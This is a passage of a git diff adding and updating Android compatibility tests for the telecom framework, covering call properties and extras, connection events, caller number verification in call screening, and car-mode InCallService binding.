+        mConnection.setConnectionProperties(Connection.PROPERTY_EMERGENCY_CALLBACK_MODE);
+        assertCallProperties(mCall, Call.Details.PROPERTY_EMERGENCY_CALLBACK_MODE);
+
+        mConnection.setConnectionProperties(Connection.PROPERTY_GENERIC_CONFERENCE);
+        assertCallProperties(mCall, Call.Details.PROPERTY_GENERIC_CONFERENCE);
+
+        mConnection.setConnectionProperties(Connection.PROPERTY_HIGH_DEF_AUDIO);
+        assertCallProperties(mCall, Call.Details.PROPERTY_HIGH_DEF_AUDIO);
+
+        mConnection.setConnectionProperties(Connection.PROPERTY_WIFI);
+        assertCallProperties(mCall, Call.Details.PROPERTY_WIFI);
+
+        mConnection.setConnectionProperties(Connection.PROPERTY_IS_EXTERNAL_CALL);
+        assertCallProperties(mCall, Call.Details.PROPERTY_IS_EXTERNAL_CALL);
+
+        mConnection.setConnectionProperties(Connection.PROPERTY_HAS_CDMA_VOICE_PRIVACY);
+        assertCallProperties(mCall, Call.Details.PROPERTY_HAS_CDMA_VOICE_PRIVACY);
+
+        mConnection.setConnectionProperties(Connection.PROPERTY_IS_DOWNGRADED_CONFERENCE);
+        // Not propagated
+        assertCallProperties(mCall, 0);
+
+        mConnection.setConnectionProperties(Connection.PROPERTY_IS_RTT);
+        assertCallProperties(mCall, Call.Details.PROPERTY_RTT);
+
+        mConnection.setConnectionProperties(Connection.PROPERTY_ASSISTED_DIALING_USED);
+        assertCallProperties(mCall, Call.Details.PROPERTY_ASSISTED_DIALING_USED);
+
+        mConnection.setConnectionProperties(Connection.PROPERTY_NETWORK_IDENTIFIED_EMERGENCY_CALL);
+        assertCallProperties(mCall, Call.Details.PROPERTY_NETWORK_IDENTIFIED_EMERGENCY_CALL);
+
+        mConnection.setConnectionProperties(Connection.PROPERTY_REMOTELY_HOSTED);
+        // Not propagated
+        assertCallProperties(mCall, 0);
+    }
+
+    /**
      * Tests whether the getCallerDisplayName() getter returns the correct object.
      */
     public void testCallerDisplayName() {
@@ -419,6 +465,7 @@
         exampleExtras.putString(Connection.EXTRA_CHILD_ADDRESS, TEST_CHILD_NUMBER);
         exampleExtras.putString(Connection.EXTRA_LAST_FORWARDED_NUMBER, TEST_FORWARDED_NUMBER);
         exampleExtras.putInt(TEST_EXTRA_KEY, TEST_EXTRA_VALUE);
+        exampleExtras.putInt(Connection.EXTRA_AUDIO_CODEC, Connection.AUDIO_CODEC_AMR);
         mConnection.setExtras(exampleExtras);
 
         // Make sure we got back a bundle with the call subject key set.
@@ -430,6 +477,8 @@
         assertEquals(TEST_FORWARDED_NUMBER,
                 callExtras.getString(Connection.EXTRA_LAST_FORWARDED_NUMBER));
         assertEquals(TEST_EXTRA_VALUE, callExtras.getInt(TEST_EXTRA_KEY));
+        assertEquals(Connection.AUDIO_CODEC_AMR,
+                callExtras.getInt(Connection.EXTRA_AUDIO_CODEC));
     }
 
     /**
@@ -482,6 +531,7 @@
         Bundle testBundle = new Bundle();
         testBundle.putString(TEST_EXTRA_KEY, TEST_SUBJECT);
         testBundle.putInt(TEST_EXTRA_KEY2, TEST_EXTRA_VALUE);
+        testBundle.putBoolean(Connection.EXTRA_DISABLE_ADD_CALL, true);
         mConnection.putExtras(testBundle);
         // Wait for the 2nd invocation; setExtras is called in the setup method.
         mOnExtrasChangedCounter.waitForCount(2, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
@@ -491,6 +541,18 @@
         assertEquals(TEST_SUBJECT, extras.getString(TEST_EXTRA_KEY));
         assertTrue(extras.containsKey(TEST_EXTRA_KEY2));
         assertEquals(TEST_EXTRA_VALUE, extras.getInt(TEST_EXTRA_KEY2));
+        assertTrue(extras.getBoolean(Connection.EXTRA_DISABLE_ADD_CALL));
+    }
+
+    public void testConnectionHoldTone() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        // These tests are admittedly lame; the events are absorbed in telecom and start a tone and
+        // stop it.  There is no other signal that the tone is starting/stopping otherwise.
+        mConnection.sendConnectionEvent(Connection.EVENT_ON_HOLD_TONE_START, null);
+        mConnection.sendConnectionEvent(Connection.EVENT_ON_HOLD_TONE_END, null);
     }
 
     /**
@@ -657,6 +719,42 @@
         assertNotNull(extras);
         assertTrue(extras.containsKey(TEST_EXTRA_KEY));
         assertEquals(TEST_SUBJECT, extras.getString(TEST_EXTRA_KEY));
+        mOnConnectionEventCounter.reset();
+
+        mConnection.sendConnectionEvent(Connection.EVENT_CALL_HOLD_FAILED, null);
+        // Don't expect this to make it through; used internally in Telecom.
+
+        mConnection.sendConnectionEvent(Connection.EVENT_MERGE_START, null);
+        mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+        extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+        assertEquals(Connection.EVENT_MERGE_START, event);
+        assertNull(extras);
+        mOnConnectionEventCounter.reset();
+
+        mConnection.sendConnectionEvent(Connection.EVENT_MERGE_COMPLETE, null);
+        mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+        extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+        assertEquals(Connection.EVENT_MERGE_COMPLETE, event);
+        assertNull(extras);
+        mOnConnectionEventCounter.reset();
+
+        mConnection.sendConnectionEvent(Connection.EVENT_CALL_REMOTELY_HELD, null);
+        mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+        extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+        assertEquals(Connection.EVENT_CALL_REMOTELY_HELD, event);
+        assertNull(extras);
+        mOnConnectionEventCounter.reset();
+
+        mConnection.sendConnectionEvent(Connection.EVENT_CALL_REMOTELY_UNHELD, null);
+        mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+        extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+        assertEquals(Connection.EVENT_CALL_REMOTELY_UNHELD, event);
+        assertNull(extras);
+        mOnConnectionEventCounter.reset();
     }
 
     /**
@@ -782,4 +880,84 @@
                 features & CallLog.Calls.FEATURES_HD_CALL);
         assertEquals(CallLog.Calls.FEATURES_WIFI, features & CallLog.Calls.FEATURES_WIFI);
     }
+
+    /**
+     * Verifies operation of the test telecom call ID system APIs.
+     */
+    public void testTelecomCallId() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        mConnection.setTelecomCallId("Hello");
+        assertEquals("Hello", mConnection.getTelecomCallId());
+    }
+
+    /**
+     * Verifies propagation of radio tech extra.
+     */
+    public void testSetCallRadioTech() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        Bundle radioTechExtras = new Bundle();
+        radioTechExtras.putInt(TelecomManager.EXTRA_CALL_NETWORK_TYPE,
+                TelephonyManager.NETWORK_TYPE_LTE);
+        mConnection.putExtras(radioTechExtras);
+
+        assertCallExtras(mCall, TelecomManager.EXTRA_CALL_NETWORK_TYPE);
+        assertEquals(TelephonyManager.NETWORK_TYPE_LTE,
+                mCall.getDetails().getExtras().getInt(TelecomManager.EXTRA_CALL_NETWORK_TYPE));
+    }
+
+    /**
+     * Verifies resetting the connection time.
+     */
+    public void testResetConnectionTime() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        long currentTime = mConnection.getConnectTimeMillis();
+        mConnection.resetConnectionTime();
+
+        // Make sure the connect time isn't the original value.
+        assertCallConnectTimeChanged(mCall, currentTime);
+    }
+
+    /**
+     * Verifies {@link Connection#notifyConferenceMergeFailed()} results in the
+     * {@link Connection#EVENT_CALL_MERGE_FAILED} connection event being received by the telecom
+     * call.
+     */
+    public void testMergeFail() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        mConnection.notifyConferenceMergeFailed();
+
+        mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        String event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+        Bundle extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+
+        assertEquals(Connection.EVENT_CALL_MERGE_FAILED, event);
+        assertNull(extras);
+    }
+
+    /**
+     * Verifies {@link Connection#setPhoneAccountHandle(PhoneAccountHandle)} propagates to the
+     * dialer app.
+     */
+    public void testChangePhoneAccount() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        mConnection.setActive();
+        assertCallState(mCall, Call.STATE_ACTIVE);
+
+        mConnection.setPhoneAccountHandle(TEST_PHONE_ACCOUNT_HANDLE_2);
+        assertEquals(TEST_PHONE_ACCOUNT_HANDLE_2, mConnection.getPhoneAccountHandle());
+        mOnPhoneAccountChangedCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        assertEquals(TEST_PHONE_ACCOUNT_HANDLE_2, mOnPhoneAccountChangedCounter.getArgs(0)[1]);
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
index 6ae927b..2fcedf5 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
@@ -35,7 +35,6 @@
 
 import android.telecom.Call;
 import android.telecom.PhoneAccount;
-import android.telecom.PhoneAccountHandle;
 import android.telecom.cts.redirectiontestapp.CtsCallRedirectionService;
 import android.telecom.cts.redirectiontestapp.CtsCallRedirectionServiceController;
 import android.telecom.cts.redirectiontestapp.ICtsCallRedirectionServiceController;
@@ -111,7 +110,7 @@
         }
         mCallRedirectionServiceController.setRedirectCall(
                 SAMPLE_HANDLE, null, false);
-        placeAndVerifyCall(true /* viaCallRedirection */, false /* cancelledByCallRedirection */);
+        placeAndVerifyCallByRedirection(false /* cancelledByCallRedirection */);
         mInCallService = mInCallCallbacks.getService();
         assertCallGatewayConstructed(mInCallService.getLastCall(), true);
         mCall = mInCallService.getLastCall();
@@ -128,7 +127,7 @@
         }
         mCallRedirectionServiceController.setRedirectCall(
                 SAMPLE_HANDLE, TestUtils.TEST_PHONE_ACCOUNT_HANDLE_2, false);
-        placeAndVerifyCall(true /* viaCallRedirection */, false /* cancelledByCallRedirection */);
+        placeAndVerifyCallByRedirection(false /* cancelledByCallRedirection */);
         mInCallService = mInCallCallbacks.getService();
         assertCallGatewayConstructed(mInCallService.getLastCall(), true);
         mCall = mInCallService.getLastCall();
@@ -143,7 +142,7 @@
             return;
         }
         mCallRedirectionServiceController.setCancelCall();
-        placeAndVerifyCall(true /* viaCallRedirection */, true /* cancelledByCallRedirection */);
+        placeAndVerifyCallByRedirection(true /* cancelledByCallRedirection */);
         mInCallService = mInCallCallbacks.getService();
         mCall = mInCallService.getLastCall();
         assertCallNotNull(mCall, false);
@@ -154,7 +153,7 @@
             return;
         }
         mCallRedirectionServiceController.setPlaceCallUnmodified();
-        placeAndVerifyCall(true /* viaCallRedirection */, false /* cancelledByCallRedirection */);
+        placeAndVerifyCallByRedirection(false /* cancelledByCallRedirection */);
         mInCallService = mInCallCallbacks.getService();
         assertCallDetailsConstructed(mInCallService.getLastCall(), true);
         mCall = mInCallService.getLastCall();
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
index d959196..72bb778 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
@@ -17,8 +17,8 @@
 package android.telecom.cts;
 
 import static android.telecom.cts.TestUtils.shouldTestTelecom;
-import static org.junit.Assert.assertTrue;
 
+import android.content.ContentResolver;
 import android.telecom.cts.MockCallScreeningService.CallScreeningServiceCallbacks;
 
 import android.content.ComponentName;
@@ -27,6 +27,7 @@
 import android.os.Bundle;
 import android.telecom.Call;
 import android.telecom.CallScreeningService;
+import android.telecom.Connection;
 import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
@@ -58,6 +59,8 @@
     private String mPreviousDefaultDialer;
     MockConnectionService mConnectionService;
     private boolean mCallFound;
+    private ContentResolver mContentResolver;
+    private int mCallerNumberVerificationStatus;
 
     @Override
     protected void setUp() throws Exception {
@@ -70,6 +73,7 @@
             setupConnectionService();
             MockCallScreeningService.enableService(mContext);
         }
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
     }
 
     @Override
@@ -109,6 +113,87 @@
         fail("No call added to CallScreeningService.");
     }
 
+    /**
+     * Tests that when sendinga a CALL intent via the Telecom stack and the test number is in the
+     * user's contact, Telecom binds to the registered {@link CallScreeningService}s and invokes
+     * onScreenCall.
+     */
+    public void testBindsToCallScreeningServiceWhenContactExist() throws Exception {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        CallScreeningServiceCallbacks callbacks = createCallbacks();
+        MockCallScreeningService.setCallbacks(callbacks);
+        Uri contactUri = TestUtils.insertContact(mContentResolver,
+                TEST_NUMBER.getSchemeSpecificPart());
+        addNewIncomingCall(TEST_NUMBER);
+
+        try {
+            if (callbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+                assertTrue(mCallFound);
+
+                return;
+            }
+        } catch (InterruptedException e) {
+        } finally {
+            assertEquals(1, TestUtils.deleteContact(mContentResolver, contactUri));
+        }
+
+        fail("No call added to CallScreeningService.");
+    }
+
+    /**
+     * Tests passing of number verification status.
+     */
+    public void testVerificationFailed() {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        CallScreeningServiceCallbacks callbacks = createCallbacks();
+        MockCallScreeningService.setCallbacks(callbacks);
+        addNewIncomingCall(MockConnectionService.VERSTAT_FAILED_NUMBER);
+
+        try {
+            if (callbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+                assertTrue(mCallFound);
+                assertEquals(Connection.VERIFICATION_STATUS_FAILED,
+                        mCallerNumberVerificationStatus);
+                return;
+            }
+        } catch (InterruptedException e) {
+        }
+    }
+
+    /**
+     * Tests passing of number verification status.
+     */
+    public void testNumberNotVerified() {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+
+        CallScreeningServiceCallbacks callbacks = createCallbacks();
+        MockCallScreeningService.setCallbacks(callbacks);
+        addNewIncomingCall(MockConnectionService.VERSTAT_NOT_VERIFIED_NUMBER);
+
+        try {
+            if (callbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+                assertTrue(mCallFound);
+                assertEquals(Connection.VERIFICATION_STATUS_NOT_VERIFIED,
+                        mCallerNumberVerificationStatus);
+                return;
+            }
+        } catch (InterruptedException e) {
+        }
+
+        fail("No call added to CallScreeningService.");
+    }
+
     private void addNewIncomingCall(Uri incomingHandle) {
         Bundle extras = new Bundle();
         extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, incomingHandle);
@@ -120,6 +205,7 @@
             @Override
             public void onScreenCall(Call.Details callDetails) {
                 mCallFound = true;
+                mCallerNumberVerificationStatus = callDetails.getCallerNumberVerificationStatus();
                 CallScreeningService.CallResponse response =
                         new CallScreeningService.CallResponse.Builder()
                         .setDisallowCall(true)
diff --git a/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
new file mode 100644
index 0000000..7d81184
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
@@ -0,0 +1,389 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.app.UiModeManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.content.res.Configuration;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telecom.TelecomManager;
+import android.telecom.cts.carmodetestapp.ICtsCarModeInCallServiceControl;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class CarModeInCallServiceTest extends BaseTelecomTestWithMockServices {
+    private static final int ASYNC_TIMEOUT = 10000;
+    private static final String CARMODE_APP1_PACKAGE = "android.telecom.cts.carmodetestapp";
+    private static final String CARMODE_APP2_PACKAGE = "android.telecom.cts.carmodetestapptwo";
+    private ICtsCarModeInCallServiceControl mCarModeIncallServiceControlOne;
+    private ICtsCarModeInCallServiceControl mCarModeIncallServiceControlTwo;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.ENTER_CAR_MODE_PRIORITIZED",
+                        "android.permission.CONTROL_INCALL_EXPERIENCE");
+
+        mCarModeIncallServiceControlOne = getControlBinder(CARMODE_APP1_PACKAGE);
+        mCarModeIncallServiceControlTwo = getControlBinder(CARMODE_APP2_PACKAGE);
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+
+        final UiModeManager uiModeManager = mContext.getSystemService(UiModeManager.class);
+        assertEquals("Device must not be in car mode at start of test.",
+                Configuration.UI_MODE_TYPE_NORMAL, uiModeManager.getCurrentModeType());
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        if (!mShouldTestTelecom) {
+            return;
+        }
+
+        if (mCarModeIncallServiceControlOne != null) {
+            mCarModeIncallServiceControlOne.reset();
+        }
+
+        if (mCarModeIncallServiceControlTwo != null) {
+            mCarModeIncallServiceControlTwo.reset();
+        }
+
+        assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
+
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .dropShellPermissionIdentity();
+    }
+
+    /**
+     * Verifies that a car mode InCallService can enter and exit car mode using a priority.
+     */
+    public void testSetCarMode() {
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+    }
+
+    /**
+     * Verifies we bind to a car mode InCallService when a call is started when the device is
+     * already in car mode.
+     */
+    public void testStartCallInCarMode() {
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+
+        // Place a call and verify we bound to the Car Mode InCallService
+        placeCarModeCall();
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+    }
+
+    /**
+     * Tests a scenario where we have two apps enter car mode.
+     * Ensures that the higher priority app is bound and receives information about the call.
+     * When the higher priority app leaves car mode, verifies that the lower priority app is bound
+     * and receives information about the call.
+     */
+    public void testStartCallInCarModeTwoServices() {
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+        enableAndVerifyCarMode(mCarModeIncallServiceControlTwo, 999);
+
+        // Place a call and verify we bound to the Car Mode InCallService
+        placeCarModeCall();
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Now disable car mode in the higher priority service
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_CAR);
+        verifyCarModeBound(mCarModeIncallServiceControlTwo);
+        assertCarModeCallCount(mCarModeIncallServiceControlTwo, 1);
+
+        // Drop the call from the second service.
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlTwo);
+    }
+
+    /**
+     * Verifies we can switch from the default dialer to the car-mode InCallService when car mode is
+     * enabled.
+     */
+    public void testSwitchToCarMode() {
+        // Place a call and verify it went to the default dialer
+        placeAndVerifyCall();
+        verifyConnectionForOutgoingCall();
+
+        // Now, enable car mode; should have swapped to the InCallService.
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+        disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+    }
+
+    /**
+     * Similar to {@link #testSwitchToCarMode}, except exits car mode before the call terminates.
+     */
+    public void testSwitchToCarModeAndBack() {
+        // Place a call and verify it went to the default dialer
+        placeAndVerifyCall();
+        verifyConnectionForOutgoingCall();
+
+        // Now, enable car mode and confirm we're using the car mode ICS.
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Now, disable car mode and confirm we're no longer using the car mode ICS.
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+        verifyCarModeUnbound(mCarModeIncallServiceControlOne);
+
+        // Verify that we did bind back to the default dialer.
+        try {
+            if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+                fail("No call added to InCallService.");
+            }
+        } catch (InterruptedException e) {
+            fail("Interupted!");
+        }
+
+        assertEquals(1, mInCallCallbacks.getService().getCallCount());
+        mInCallCallbacks.getService().disconnectAllCalls();
+    }
+
+    /**
+     * Similar to {@link #testSwitchToCarMode}, except enters car mode after the call starts.  Also
+     * uses multiple car mode InCallServices.
+     */
+    public void testSwitchToCarModeMultiple() {
+        // Place a call and verify it went to the default dialer
+        placeAndVerifyCall();
+        verifyConnectionForOutgoingCall();
+
+        // Now, enable car mode and confirm we're using the car mode ICS.
+        enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 999);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Now, enable a higher priority car mode all and confirm we're using it.
+        enableAndVerifyCarMode(mCarModeIncallServiceControlTwo, 1000);
+        verifyCarModeUnbound(mCarModeIncallServiceControlOne);
+        verifyCarModeBound(mCarModeIncallServiceControlTwo);
+        assertCarModeCallCount(mCarModeIncallServiceControlTwo, 1);
+
+        // Disable higher priority, verify we drop back to lower priority.
+        disableAndVerifyCarMode(mCarModeIncallServiceControlTwo, Configuration.UI_MODE_TYPE_CAR);
+        verifyCarModeUnbound(mCarModeIncallServiceControlTwo);
+        verifyCarModeBound(mCarModeIncallServiceControlOne);
+        assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+        // Finally, disable car mode at the lower priority and confirm we're using the default
+        // dialer once more.
+        disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+        verifyCarModeUnbound(mCarModeIncallServiceControlOne);
+
+        // Verify that we did bind back to the default dialer.
+        try {
+            if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+                    TimeUnit.SECONDS)) {
+                fail("No call added to InCallService.");
+            }
+        } catch (InterruptedException e) {
+            fail("Interupted!");
+        }
+
+        assertEquals(1, mInCallCallbacks.getService().getCallCount());
+        mInCallCallbacks.getService().disconnectAllCalls();
+    }
+
+
+    /**
+     * Places a call without verifying it is handled by the default dialer InCallService.
+     */
+    private void placeCarModeCall() {
+        Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE,
+                TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
+
+        Uri number = createTestNumber();
+        mTelecomManager.placeCall(number, extras);
+
+        verifyConnectionForOutgoingCall(number);
+    }
+
+    /**
+     * Verify the car mode ICS has an expected call count.
+     * @param expected
+     */
+    private void assertCarModeCallCount(ICtsCarModeInCallServiceControl control,  int expected) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return expected;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        int callCount = 0;
+                        try {
+                            callCount = control.getCallCount();
+                        } catch (RemoteException re) {
+                            fail("Bee-boop; can't control the incall service");
+                        }
+                        return callCount;
+                    }
+                },
+                TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Expected " + expected + " calls."
+        );
+    }
+
+    /**
+     * Verifies that we bound to the car-mode ICS.
+     */
+    private void verifyCarModeBound(ICtsCarModeInCallServiceControl control) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        boolean isBound = false;
+                        try {
+                            isBound = control.isBound();
+                        } catch (RemoteException re) {
+                            fail("Bee-boop; can't control the incall service");
+                        }
+                        return isBound;
+                    }
+                },
+                TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Expected to be bound"
+        );
+    }
+
+    /**
+     * Verifies that we bound to the car-mode ICS.
+     */
+    private void verifyCarModeUnbound(ICtsCarModeInCallServiceControl control) {
+        waitUntilConditionIsTrueOrTimeout(
+                new Condition() {
+                    @Override
+                    public Object expected() {
+                        return true;
+                    }
+
+                    @Override
+                    public Object actual() {
+                        boolean isUnbound = false;
+                        try {
+                            isUnbound = control.isUnbound();
+                        } catch (RemoteException re) {
+                            fail("Bee-boop; can't control the incall service");
+                        }
+                        return isUnbound;
+                    }
+                },
+                TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                "Expected to be unbound"
+        );
+    }
+
+    /**
+     * Use the control interface to enable car mode at a specified priority.
+     * @param priority the requested priority.
+     */
+    private void enableAndVerifyCarMode(ICtsCarModeInCallServiceControl control, int priority) {
+        try {
+            control.enableCarMode(priority);
+        } catch (RemoteException re) {
+            fail("Bee-boop; can't control the incall service");
+        }
+        assertUiMode(Configuration.UI_MODE_TYPE_CAR);
+    }
+
+    /**
+     * Uses the control interface to disable car mode.
+     * @param expectedUiMode
+     */
+    private void disableAndVerifyCarMode(ICtsCarModeInCallServiceControl control,
+            int expectedUiMode) {
+        try {
+            control.disableCarMode();
+        } catch (RemoteException re) {
+            fail("Bee-boop; can't control the incall service");
+        }
+        assertUiMode(expectedUiMode);
+    }
+
+    private void disconnectAllCallsAndVerify(ICtsCarModeInCallServiceControl controlBinder) {
+        try {
+            controlBinder.disconnectCalls();
+        } catch (RemoteException re) {
+            fail("Bee-boop; can't control the incall service");
+        }
+        assertCarModeCallCount(controlBinder, 0);
+    }
+
+    /**
+     * Setup a binder which can be used to control the CarModeTestApp.
+     * @throws InterruptedException
+     */
+    private ICtsCarModeInCallServiceControl getControlBinder(String packageName)
+            throws InterruptedException {
+        Intent bindIntent = new Intent(
+                android.telecom.cts.carmodetestapp.CtsCarModeInCallServiceControl
+                        .CONTROL_INTERFACE_ACTION);
+        bindIntent.setPackage(packageName);
+        final LinkedBlockingQueue<ICtsCarModeInCallServiceControl> queue =
+                new LinkedBlockingQueue(1);
+        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                queue.offer(android.telecom.cts.carmodetestapp
+                        .ICtsCarModeInCallServiceControl.Stub.asInterface(service));
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                queue.offer(null);
+            }
+        }, Context.BIND_AUTO_CREATE);
+        if (!success) {
+            fail("Failed to get control interface -- bind error");
+        }
+        return queue.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConferenceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConferenceTest.java
index c1de6a0..fc40da9 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ConferenceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConferenceTest.java
@@ -31,7 +31,6 @@
 import android.telecom.StatusHints;
 import android.telecom.TelecomManager;
 import android.telecom.VideoProfile;
-import android.util.Log;
 
 import java.util.ArrayList;
 import java.util.Arrays;
@@ -410,6 +409,21 @@
         assertDtmfString((MockConference)mConferenceObject, "1.3.");
     }
 
+    public void testConferenceEvent() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        final Call conf = mInCallService.getLastConferenceCall();
+        assertCallState(conf, Call.STATE_ACTIVE);
+
+        mConferenceObject.sendConferenceEvent("TEST", null);
+        mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        String event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+        Bundle extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
